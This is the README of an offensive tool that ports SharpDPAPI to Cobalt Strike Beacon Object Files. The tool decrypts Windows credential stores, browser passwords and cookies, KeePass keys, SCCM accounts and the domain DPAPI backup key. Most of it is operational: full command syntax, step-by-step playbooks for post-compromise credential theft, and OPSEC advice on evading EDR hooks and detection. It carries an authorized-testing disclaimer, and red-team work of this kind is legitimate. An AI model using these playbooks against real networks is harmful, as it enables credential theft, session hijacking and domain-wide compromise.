SharpDPAPI ported to Cobalt Strike Beacon Object Files (BOFs) - 19 self-contained BOFs for DPAPI credential triage, all under 52KB each.
Full port of GhostPack/SharpDPAPI - including MS-BKRP RPC masterkey decryption, Chrome/Edge/Brave credential extraction, and machine-level DPAPI triage.
- Why BOFs?
- Installation
- Quick Start
- OPSEC Considerations
- Command Reference
- Common Arguments
- Usage Playbooks
- Building from Source
- Project Structure
- Credits
| SharpDPAPI (.NET) | DPAPI_BOF | |
|---|---|---|
| Execution | Fork & run - spawns a sacrificial process | Inline execution - runs in beacon's own thread |
| Size | ~600KB managed assembly | ~50KB per BOF |
| Detection | .NET CLR load + Assembly.Load detections | No CLR, no managed code, no child process |
| Dependencies | Requires .NET on target | Zero dependencies - DFR resolves APIs at runtime |
| OPSEC | Moderate - triggers ETW/.NET logs | High - no fork, no injection, minimal footprint |
- Download the latest
SharpDPAPI-BOF.zipfrom Releases - Extract to a folder on your team server (e.g.,
C:\Tools\DPAPI_BOF\)
SharpDPAPI-BOF/
├── dpapi.cna ← Load this in Script Manager
├── backupkey.o
├── blob.o
├── certificates.o
├── chrome_cookies.o
├── chrome_logins.o
├── chrome_statekeys.o
├── credentials.o
├── keepass.o
├── machinecredentials.o
├── machinemasterkeys.o
├── machinetriage.o
├── machinevaults.o
├── masterkeys.o
├── ps.o
├── rdg.o
├── sccm.o
├── search.o
├── triage_bof.o
└── vaults.o
- In Cobalt Strike: Script Manager → Load →
dpapi.cna
Note: The CNA script looks for
.ofiles in adist/subdirectory relative to itself. If using the release zip, either:
- Place the
.ofiles in adist/folder next todpapi.cna, or- Edit line 7 of
dpapi.cnato point to your.ofile location
See Building from Source below.
After loading the CNA, type help in a beacon console. You should see all 19 commands registered:
beacon> help masterkeys
Usage: masterkeys [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY]
[/target:PATH] [/server:DC] [/sid:SID] [/rpc] [/hashes]
# 1. Get domain backup key (from any domain user beacon with DC access)
backupkey /server:dc01.corp.local
# 2. Use it to decrypt everything
triage /pvk:<BASE64_PVK>
# 3. Or just use RPC (no PVK needed - asks DC to decrypt for you)
triage /rpcAll BOFs run via Cobalt Strike's beacon_inline_execute() - this means:
- ✅ No child process - code runs in the beacon's own thread
- ✅ No .NET CLR - pure C, no managed code loaded
- ✅ No
CreateRemoteThread- no injection into other processes - ✅ No temporary DLLs - everything is position-independent code
These BOFs use Dynamic Function Resolution (DFR) - APIs are resolved at runtime via GetProcAddress. This avoids static IAT entries but the actual API calls are still visible to:
- Usermode hooks (EDR inline hooks on
CryptUnprotectData,BCryptDecrypt, etc.) - Kernel callbacks (ETW, syscall telemetry)
- RPC monitoring (the
/rpcflag creates a named pipe connection to the DC's\pipe\protected_storage)
| Scenario | Recommendation |
|---|---|
| Default triage | Use /pvk or /credkey rather than /unprotect - avoids calling CryptUnprotectData which is hooked by most EDRs |
| RPC decryption | /rpc is lower-risk than /unprotect but creates an RPC connection to the DC. Best used during normal auth traffic windows |
| Machine triage | Requires SYSTEM access - ensure you have a high-integrity beacon. These BOFs read LSA secrets via registry |
| Chrome extraction | Reading Chrome SQLite databases may trigger filesystem telemetry. Use /target: to point at staged copies when possible |
| Mass triage | Run masterkeys first to build your key cache, then use /credkey: with specific commands - avoids redundant file access |
If you prefer process isolation (at the cost of OPSEC), you can modify the CNA to use beacon_execute_assembly with a .NET build instead. However, the whole point of BOFs is inline execution - use it.
Enumerate and decrypt user DPAPI masterkeys.
masterkeys [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY]
[/target:PATH] [/server:DC] [/sid:SID] [/rpc] [/hashes]
| Flag | Description |
|---|---|
/pvk:BASE64 |
Domain DPAPI backup key (base64-encoded PVK) |
/password:PASS |
User's plaintext password for masterkey derivation |
/ntlm:HASH |
User's NTLM hash for masterkey derivation |
/credkey:GUID:SHA1 |
Pre-computed masterkey(s), comma-separated |
/target:PATH |
Specific masterkey file or directory |
/server:DC |
Domain controller for password-based/RPC decryption |
/sid:SID |
User SID (required with /password + /target for remote users) |
/rpc |
Use MS-BKRP RPC to decrypt (any domain user, no admin needed) |
/hashes |
Output masterkey hashes for offline cracking with Hashcat |
Examples:
# Decrypt with domain backup key
masterkeys /pvk:AQAAAA...
# Decrypt with user's password
masterkeys /password:Summer2025!
# RPC - ask DC to decrypt (best for current user context)
masterkeys /rpc
# Remote user's masterkeys with their password
masterkeys /password:P@ss /target:\\fs01\C$\Users\bob\AppData\Roaming\Microsoft\Protect /sid:S-1-5-21-...
# Dump hashes for offline cracking
masterkeys /hashesDecrypt Windows Credential Manager files (.vcrd).
credentials [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY]
[/target:PATH] [/server:DC] [/rpc]
Decrypt Windows Vault files (Web Credentials, Windows Credentials).
vaults [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY]
[/target:PATH] [/server:DC] [/rpc]
Extract DPAPI-protected certificate private keys (PFX).
certificates [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY]
[/target:PATH] [/server:DC] [/showall] [/machine] [/rpc]
| Extra Flag | Description |
|---|---|
/showall |
Show all certs, including ones without exportable private keys |
/machine |
Triage machine certificate store instead of user |
Full user DPAPI triage - runs masterkeys + credentials + vaults + certificates in one shot.
triage [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY]
[/server:DC] [/showall] [/rpc]
Examples:
# Full triage with domain backup key
triage /pvk:AQAAAA...
# Full triage using RPC
triage /rpc
# Just credentials with a known password
credentials /password:Welcome1!Decrypt Remote Desktop Connection Manager (RDCMan) saved credentials.
rdg [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY]
[/target:PATH] [/server:DC] [/unprotect] [/rpc]
Extract KeePass master keys from ProtectedUserKey.bin.
keepass [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY]
[/target:PATH] [/unprotect] [/rpc]
Decrypt PowerShell Export-Clixml PSCredential files and ConvertFrom-SecureString output.
ps /target:FILE [/pvk:BASE64] [/password:PASS] [/ntlm:HASH]
[/credkey:KEY] [/unprotect] [/rpc]
Extract SCCM Network Access Account (NAA) and task sequence credentials. Requires admin.
sccm [/target:PATH]
Examples:
# RDCMan passwords
rdg /rpc
# KeePass master key
keepass /pvk:AQAAAA...
# PowerShell PSCredential
ps /target:C:\Users\admin\cred.xml /unprotect
# SCCM NAA creds (run as SYSTEM)
sccm
⚠️ These commands must be run from a high-integrity (admin) beacon. They read DPAPI_SYSTEM LSA secrets from the registry.
Decrypt SYSTEM DPAPI masterkeys using the DPAPI_SYSTEM LSA secret.
machinemasterkeys
Decrypt SYSTEM-level credential files.
machinecredentials
Decrypt SYSTEM-level vault files.
machinevaults
Full SYSTEM triage - masterkeys + credentials + vaults + certificates.
machinetriage
Example workflow:
# Elevate first
elevate svc-exe
# Then run machine triage
machinetriageSupports Chrome, Edge, Brave, and Slack credential stores.
Extract the AES encryption key from Chrome's Local State file. This key is DPAPI-protected and used to encrypt logins/cookies in Chrome v80+.
chrome_statekeys [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY]
[/server:DC] [/target:PATH] [/browser:X] [/unprotect] [/rpc]
Decrypt saved passwords from Chrome's Login Data SQLite database.
chrome_logins [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY]
[/server:DC] [/target:PATH] [/statekey:HEX] [/browser:X]
[/unprotect] [/showall] [/rpc]
Decrypt cookies from Chrome's Cookies SQLite database.
chrome_cookies [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY]
[/server:DC] [/target:PATH] [/statekey:HEX] [/browser:X]
[/cookie:REGEX] [/url:REGEX] [/unprotect] [/showall] [/rpc]
| Extra Flag | Description |
|---|---|
/statekey:HEX |
Pre-extracted AES state key (skip masterkey triage) |
/browser:X |
Target browser: chrome, edge, brave, slack |
/cookie:REGEX |
Filter cookies by name (regex) |
/url:REGEX |
Filter cookies by URL (regex) |
/showall |
Include expired cookies / empty passwords |
Recommended workflow:
# Step 1: Extract the AES state key
chrome_statekeys /rpc
# Step 2: Use it to decrypt logins (fast - no masterkey triage needed)
chrome_logins /statekey:AABBCCDD...
# Step 3: Grab specific cookies
chrome_cookies /statekey:AABBCCDD... /cookie:session /url:github.com
# Or do it all at once (slower - triages masterkeys each time)
chrome_logins /rpc
chrome_cookies /rpc /cookie:SSID /url:google.comRetrieve the domain DPAPI backup key (PVK) from a domain controller. Requires DA or equivalent.
backupkey [/server:DC] [/nowrap]
| Flag | Description |
|---|---|
/server:DC |
Target DC (auto-detected if omitted) |
/nowrap |
Output base64 PVK on a single line (for easy copy/paste) |
Describe and/or decrypt a raw DPAPI blob.
blob /target:BASE64_BLOB [/pvk:BASE64] [/password:PASS] [/ntlm:HASH]
[/credkey:KEY] [/unprotect] [/rpc]
Search for files or registry values containing DPAPI blobs.
search [/target:PATH] [/server:DC] [/pattern:REGEX] [/pvk:BASE64]
[/credkey:KEY] [/type:TYPE] [/maxBytes:N] [/showErrors]
| Flag | Description |
|---|---|
/type:TYPE |
Search type: file, folder, registry, base64 |
/maxBytes:N |
Maximum file size to scan (bytes) |
/showErrors |
Show access-denied and other errors during search |
| Argument | Description | Used By |
|---|---|---|
/pvk:BASE64 |
Domain DPAPI backup key (base64-encoded PVK) | All user commands |
/password:PASS |
User's plaintext password | All user commands |
/ntlm:HASH |
User's NTLM hash | All user commands |
/credkey:GUID:SHA1 |
Pre-computed masterkey(s), comma-separated | All user commands |
/rpc |
Use MS-BKRP RPC for masterkey decryption | All user commands |
/server:DC |
Target domain controller | Most commands |
/target:PATH |
Specific file/directory to triage | Most commands |
/unprotect |
Call CryptUnprotectData (current user context) |
blob, rdg, keepass, ps, chrome |
/showall |
Show all results including ones without keys | certificates, triage, chrome |
/hashes |
Output masterkey hashes for offline cracking | masterkeys |
/nowrap |
Single-line base64 output | backupkey |
/sid:SID |
Target user's SID for remote masterkey decryption | masterkeys |
/statekey:HEX |
Pre-extracted Chrome AES state key | chrome_logins, chrome_cookies |
/browser:X |
Target browser (chrome/edge/brave/slack) |
chrome commands |
/cookie:REGEX |
Filter cookies by name | chrome_cookies |
/url:REGEX |
Filter cookies by URL | chrome_cookies |
You have a beacon as a domain user. No passwords, no keys, nothing.
# RPC is your friend - ask the DC to decrypt your masterkeys
masterkeys /rpc
# Copy the {GUID}:SHA1 pairs from output
# Now triage everything with those keys
credentials /credkey:{GUID1}:{SHA1},{GUID2}:{SHA1}
vaults /credkey:{GUID1}:{SHA1}
chrome_logins /credkey:{GUID1}:{SHA1}Or just:
triage /rpcYou have DA and want to triage multiple machines.
# Step 1: Get the domain backup key
backupkey /server:dc01.corp.local /nowrap
# Step 2: Triage remote users
credentials /pvk:<PVK> /target:\\workstation1\C$\Users
credentials /pvk:<PVK> /target:\\workstation2\C$\Users
# Step 3: Chrome
chrome_statekeys /pvk:<PVK> /target:\\workstation1\C$\Users
chrome_logins /pvk:<PVK> /statekey:<KEY> /target:\\workstation1\C$\UsersYou have a user's plaintext password or NTLM hash.
# Decrypt their masterkeys
masterkeys /password:Summer2025! /server:dc01.corp.local
# Or with NTLM
masterkeys /ntlm:a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4
# Then triage with the decrypted keys
credentials /credkey:<output from above>You have SYSTEM on a workstation.
# Full machine DPAPI triage
machinetriage
# Plus SCCM (if applicable)
sccm# Ubuntu/Debian
sudo apt install gcc-mingw-w64-x86-64 make
# Arch
sudo pacman -S mingw-w64-gcc
# macOS (via Homebrew)
brew install mingw-w64git clone https://github.com/Bhanunamikaze/DPAPI_BOF.git
cd DPAPI_BOF
# Build all 19 BOFs
make
# Output in dist/
ls -la dist/*.oThe Makefile automatically checks that all BOFs are under 300KB (Cobalt Strike's limit):
=== BOF Size Report ===
[ OK ] masterkeys.o: 50879 bytes
[ OK ] credentials.o: 50853 bytes
...
make clean && make allDPAPI_BOF/
├── dpapi.cna # Aggressor script - LOAD THIS
├── Makefile # Cross-compilation build system
├── README.md
│
├── include/
│ ├── beacon.h # Cobalt Strike BOF API
│ ├── bofdefs.h # Dynamic Function Resolution (DFR) macros
│ ├── bkrp.h # MS-BKRP RPC client declarations
│ ├── crypto.h # BCrypt/CNG crypto wrappers
│ ├── dpapi_common.h # Core DPAPI types & blob parsing
│ ├── helpers.h # Utility functions (base64, hex, etc.)
│ ├── interop.h # Win32 interop (DC lookup, token ops)
│ ├── lsadump.h # LSA secret extraction
│ └── triage.h # File system triage operations
│
├── src/
│ ├── common/ # Shared library (statically linked into every BOF)
│ │ ├── bkrp.c # MS-BKRP RPC masterkey decryption
│ │ ├── crypto.c # AES/3DES/SHA/HMAC via BCrypt
│ │ ├── dpapi.c # DPAPI blob parsing & decryption
│ │ ├── helpers.c # Base64, hex, GUID, string utilities
│ │ ├── interop.c # DC discovery, token manipulation
│ │ ├── lsadump.c # LSA secret / DPAPI_SYSTEM extraction
│ │ └── triage.c # Masterkey/credential/vault file triage
│ │
│ └── bofs/ # Individual BOF entry points (19 total)
│ ├── masterkeys.c ├── certificates.c
│ ├── credentials.c ├── rdg.c
│ ├── vaults.c ├── keepass.c
│ ├── blob.c ├── ps.c
│ ├── backupkey.c ├── search.c
│ ├── triage_bof.c ├── sccm.c
│ ├── machinemasterkeys.c├── chrome_logins.c
│ ├── machinecredentials.c├── chrome_cookies.c
│ ├── machinevaults.c └── chrome_statekeys.c
│ └── machinetriage.c
│
├── dist/ # Compiled .o files (after make)
└── .github/workflows/
└── build.yml # CI: build + size check + release
Each BOF is compiled as a relocatable object file (.o) with all shared library code statically linked via ld -r. This means:
| Property | Detail |
|---|---|
| Self-contained | Each .o has all code it needs - no external DLLs |
| No CRT | Zero C runtime dependency - all Win32 calls via DFR |
| Inline execution | Runs in beacon's thread via beacon_inline_execute() |
| Cross-compiled | Built on Linux/macOS with MinGW-w64 |
| Small | All BOFs ~50KB (limit: 300KB) |
Instead of linking against Windows libraries, every Win32 API call is resolved at runtime:
// Instead of: CryptUnprotectData(...)
// We use: CRYPT32$CryptUnprotectData(...)
// Which expands to: GetProcAddress(GetModuleHandle("crypt32"), "CryptUnprotectData")This avoids static IAT entries that are trivial for defenders to detect.
- SharpDPAPI by @harmj0y / GhostPack
- DPAPI internals research by Benjamin Delpy (Mimikatz)
- MS-BKRP protocol documentation by Microsoft and community researchers
This project is for authorized security testing only. Use responsibly and in accordance with applicable laws and engagement rules.